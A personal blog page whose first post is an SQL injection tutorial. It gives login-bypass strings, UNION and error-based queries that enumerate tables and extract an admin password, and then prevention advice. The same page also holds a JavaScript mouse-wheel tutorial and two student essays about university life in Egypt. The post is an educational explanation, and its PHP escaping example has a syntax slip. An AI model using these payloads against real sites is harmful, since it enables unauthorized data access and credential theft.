Things That Not All Programmers Know #3: SQL Injection

Despite the fact that this a relatively old, and very famous security attack, many people I know do not know SQL injection or how it is performed. In this post, I am going to give a little introduction to SQL injection, some examples of how it is done and how to prevent it from becoming a threat to your Web site.

SQL injection- also known as SQL insertion- is a form of attack on a database-driven Web site, in which the attacker executes unauthorized SQL commands by exploiting a security vulnerability occurring in the database layer. The vulnerability is present when user input is either incorrectly filtered for string literal escape characters embedded in SQL statements or user input is not strongly typed and thereby unexpectedly executed. This is an instance of a more general class of vulnerabilities that can occur whenever one programming or scripting language is embedded inside another.

More specifically, SQL injection is a trick to inject a SQL query or command as an input via Web pages that take parameters from Web user, such as a username and a password, and then make SQL query to the database to check the validity of these parameters, which will grant us something else.

It attacks on the web application, such as ASP, JSP, PHP, CGI, itself rather than on the web server or services running in the OS.

Testing the system’s vulnerability:

To successfully perform SQL injection, you have to first test if the system is vulnerable to such attack. You can do that by either looking for the “FORM” tag in the HTML source code of pages that allow you to submit data, such as login forms, where you may find something like this (a parameter that can be exploited):

<FORM action=“Search”/search.asp method=”POST”>
<input type=”hidden” name=“A” value=“C”>
</FORM>

Or by looking for ASP, JSP, PHP, or CGI Web pages, where the page URL takes parameters, like: http://duck/index.asp?id=10

Either way, you can test by attempting to log in by using the values or changing the URL parameter value to a’ or 1=1–. Example:

Username: a’ or 1=1–
Password: a’ or 1=1–
http://duck/index.asp?id= a’ or 1=1–

<FORM action=“Search”/search.asp method=”POST”>
<input type=”hidden” name=“A” value=“a’ or 1=1--”>
</FORM>

If the system is vulnerable, you will get login without any username or password.

Getting data from the database using error messages:

Error messages produced by Microsoft SQL Server can be exploited in order to get almost any desired data from the database. Take this page for example:

http://duck/index.asp?id=10

To get the name of the first table of the database, we can use the INFORMATION_SCHEMA.TABLES system table. This table contains information of all tables in the server and always exists. The TABLE_NAME field contains the name of each table in the database. So, what we are going to do here is UNION the parameter value ‘10’ with a query to get the first table name in the database:

http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--

The query:

SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--

Should return the first table name in the database. When we UNION this string value to an integer 10, MS SQL Server will try to convert a string (nvarchar) to an integer. This will produce an error, since we cannot convert nvarchar to int:

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘table1’ to a column of data type int.
/index.asp, line 5

The error tells you the value that cannot be converted to int, which in that case is the name of the first table. To get the next table name, you can use this query:

http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('table1')--

You can also use the LIKE keyword if you are looking for a specific table:

http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%25login%25'--

This will result in the following error:

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘admin_login’ to a column of data type int.
/index.asp, line 5

‘%25login%25’ will be seen as %login% in SQL Server. In this case, we will get the first table name that matches the criteria, “admin_login”.

Similarly, you can use the same method to obtain all column names from tables using the system table INFORMATION_SCHEMA.COLUMNS. For example, to get the first column name, use the query:

http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'--

Which will produce an error message from which you can get the name of the first column name. You can then use the NOT IN keywords as before to get the following column names.

After identifying the names of the database tables and columns, the same technique can be used again to get any information from the database. For example, assume you want to get the first username from the table “admin_login”, you can use the query:

http://duck/index.asp?id=10 UNION SELECT TOP 1 username FROM admin_login—

The following error would result:

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘admin’ to a column of data type int.
/index.asp, line 5

So you now know that there is a user with a username of “admin”. To get the password of that username from the database, use the query:

http://duck/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where username='admin'--

The following error would result:

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘p@ssword’ to a column of data type int.
/index.asp, line 5

Now you can log in to the system using the name “admin” and password “p@ssword”.

Preventing SQL injection:

To protect against SQL injection, two methods can be used, one is called Escaping, which filters out (escapes) character like single quote, double quote, slash, back slash, semi colon, extended characters like NULL, carriage return, new line, etc, in all strings from users’ input, URL parameters, and cookies’ values. For example, every occurrence of a single quote (‘) in a parameter must be replaced by two single quotes (”) to form a valid SQL string literal. This method is error-prone, however, as this is a type of blacklist, which has proved to be much less robust than whitelists. An example of escaping is using the function mysql_real_escape_string before sending the query in  PHP:

$query = sprintf("SELECT * FROM Users where UserName='%s' and Password='%s'"   mysql_real_escape_string($Username),
mysql_real_escape_string($Password));
mysql_query($query);

Another method is to use parameterized statements, which enables users’ input to be initially filtered instead of directly embedding it in the SQL statements. An example of parameterized statements is PerparedStatement in the Java JDBC API:

PreparedStatement prep = conn.prepareStatement("SELECT * FROM USERS WHERE USERNAME=? AND PASSWORD=?");
prep.setString(1, username);
prep.setString(2, password);
prep.executeQuery();

Another things that can be done to avoid SQL injection is to convert numeric values to integers before parsing them into the SQL statement. Or using ISNUMERIC to verify that they are integers.

And that’s it. Hope that was clear and simple enough. Your questions and comments are always welcomed.

Disclaimer: all of the information posted here is gathered from online published materials. None of this is my work and I am absolutely not responsible for any misuse of it. Modify/edit/use it at your own responsibility.

Share

Advertisements

Things That Not All Programmers Know #2: Handling Mouse Wheel In JavaScript

Everyone who has been on the Web even a little knows the importance of the use of mouse wheels, scrolling pages, zooming in Google Maps, mouse wheel gestures in Opera 9 browser, and many more. It is almost impossible now to find a mouse without wheel. However, not many Web applications’ developers know how to make smart use of mouse wheel. Therefore, I decided to make this little tutorial to provide general information on how to handle mouse-wheel-generated events in JavaScript.

There are some images that are not very clear because of page size limitations. You can click on any image to see it in full size.

First, the thing you should know about mouse wheels is that they do not have an absolute system. Therefore, the only way to capture the wheel actions is via a parameter called delta, which is the mouse wheel angle changes. The delta parameter takes positive and negative values; if the wheel is scrolled up- which means the page is scrolled down- delta is positive, if the wheel is scrolled down- which mean the page is scrolled up- delta is negative. The handle function takes on that delta parameter. This function should be modified by you to handle the wheel actions:

High Level Function

The actual values of delta depend on the sensitivity of the mouse. However, for optimization, the code is adjusted so that the values of delta are either -1 or +1. Also note that delta takes different values between the Internet Explorer, Opera, and Mozilla Firefox browsers. For example, in Opera and Firefox, delta takes a different sign than that of Internet Explorer, and in Firefox, the value of delta is always a multiple of 3. Here is the event handler code:

Event Handler Function

The following part is optional. This piece of code is to prevent the default actions caused by the mouse wheel. You may want to do that because you are already handling scrolls somehow:

Handling Default Actions

The initialization code:

Initialization Code

And that is it. Now you can handle mouse wheel actions easily anyway you want using the handle function. Note that this code has been tested only with recent versions of Internet Explorer, Mozilla Firefox, Opera, and Safari browsers. I have no idea if it will work with other browsers or not.

Hope this was useful. I would really love it if you tried it and sent me your feedback. And again, if you know a good programming trick that you believe not many people know, please let me know. Wait for a new programming trick next month. Until then, happy coding!

I Am Not Unintelligent Sir, I Just Have A Life

After a long summer, we finally returned to school last Saturday. I was confident that it will be a great source of inspiration for my humble blog, and I wasn’t wrong. On my very second class, “Knowledge-Based Systems”, I was faced with something that I knew I should address here- despite having previously prepared a post for this week, which is now put on the shelf for some other time.

While explaining some principles of Artificial Intelligence, our professor wandered a little off topic- which happens often- to talk about human intelligence, more specifically our intelligence as Computer Science students. He wondered why some of us achieve below average grades while clearly we cannot be unintelligent, as we got high grades at high school to get into this faculty. He concluded that those- the ones with low grades- either do not work hard enough, which makes them unintelligent for neglecting their study, or are indeed, unintelligent (not smart enough)- I believe the word he used was “stupid”.

Now, with all due respect to my dear professor, I have to say that I completely disagree with his point of view. First off, and everyone knows that, in Egypt, achieving a high grade at high school does not have any significance on whether or not you are intelligent or smart. I will not go through the reasons for that as I would really rather not get into a debate about the status of the educational system in Egypt. Just thought I should give a quick reminder.

Second, let’s take a look at ourselves for a moment; we start going to university at the age of 18 or 19. I am going to go out on a limb here and say, after 18 or 19 years of submissions to the wills of our schools’ teachers, parents, and societies’ customs and traditions that are most of the times meaningless and absurd, we take off to a brand new world where all the previous restrictions seem to dissolve by the power of the word “university”; your professors and instructors do not care whether you listen to them or not, your parents suddenly decide that you are old enough to handle yourself, and the society… well, the society remains the same, except the rules are more lenient this time and can be easily bent, if not broken, with little or no punishment. In other words, when you are in Egypt, university years are the best years of your life.

With that being said, would you rather spend the best years of your life stuck to a desk or staring into a computer monitor the same way you did in the previous 14 or 15 years of your life instead of going out and exploring this new world called university life? Some people make that decision in order to become college professors in the future. I have to admit it, it is not a bad thing at all, being a professor has a certain “prestige” to it, and the pay is not bad either. However, to be a professor, you have to go through years of humiliation by the real professors, who will make your life a living hell until you get that PhD, not to mention that upon graduation, you will have to see your previous colleagues working in the private sector with monthly salaries that exceed what you make a year as a college instructor. I obviously know what I am talking about as my father is a professor and my sister is an assistant professor at the same university I go to. So, after all, is the prospect of being a professor, with all its bitter and sweet, worth wasting the best years of your life? Some would still say yes, I say no.

For three years now, I have been achieving slightly above average grades at school, and it is NOT because I am unintelligent, it is because I purposely do not work hard enough. My parents have always complained that I am “too smart” to get such low grades. Maybe I am, but I am also too smart not to waste the best years of my life and regret it later. I am definitely not trying to encourage you, my fellow students, to simply forget about studies and spend your time wandering about. I am asking you to work hard and play hard. I am asking you to try and find a balance between your work life and your equally important social life. It may seem difficult and sometimes impossible, but you have to try your best, so that you do not wake up someday in the future finding yourself old and unsuccessful, or even worse, unhappy.

Computer Science Is One For The Rich

Surprised, aren’t you? Before I start, I want to make something clear, I am not one of the typical rich; I do not spend my summers in the sun or have a multi-million something of inheritance. I am just one of the “averages”, whatever that is. However, this “revelation”, if I may put it that way, occurred to me a while ago.

Two months ago, I decided to attend the Egyptian Engineering Day (EED), an annual event hosted by IEEE Gold Egypt, an affiliate with the famous IEEE organization. Usually, I never attend any events or conferences held by Egyptian organizations; most of the times sessions are nothing but too much gibberish that ends up with you losing all interest and ultimately fall asleep or sneak out of the hall to get your fourth cup of coffee of the day. This time though, I willingly broke my rule because I learned that besides the typical sessions, EED is an expo for graduation projects related to engineering from all universities across Egypt, including software engineering. Also, about five or six student groups from our faculty were among the participants, so I thought that some support as well as some inspiration would not hurt.

As our faculty is small and does not produce many projects- about 20 a year- I was familiar with the demonstrated projects. After wandering about the projects expo, focusing on software-engineering related projects, I was surprised to see that almost all the projects demonstrated by universities located in Cairo, specially universities such as AUC (American University in Cairo) and GUC (German University in Cairo), massively outclassed our university projects both technically and in size, even their ideas were exceptionally superior. I was confident that this was not because they received better education. The Faculty of Computers and Information at Menoufia University is known to be the best and most difficult computer science educational organization in Egypt, so why our projects did not live up to those of Cairo universities?

The only reason, ladies and gentlemen, is, as always it is with almost everything in our life, money. Before you start objecting, consider these two models; both are computer science seniors, both have basically learned the same things, however, person A is living the life of luxury in the community of the elites in Egypt, with rich parents who make all his/her wishes come true and absolutely nothing to worry about- other than probably worrying that daddy may not approve of renewing the car he bought for him/her last year as it became “old” this year- while person B lives basically in the slums, with his father working more than 12 hours a day so his family can just get by. In those two, who would be able come up with an “exceptionally superior” project idea that raises eyebrows and be able to follow it through? The answer my friends, is person A; the rich, who has all his/her mental capacities focused on one thing and one thing only:  studies, not to mention the ability to become an ingenious, creative producer.  All that because life is so easy that there is simply nothing to worry about.

I am not degrading the poor nor do I have a grudge against the rich, and I am definitely not trying to send a message to my colleagues to boycott EED. I myself would do my best to participate in it next year. I am merely sharing a piece of my mind. I could be wrong, but until someone proves me wrong, I am convinced that, at least in Egypt, our field of computer science has been, and will always be, dominated by the rich.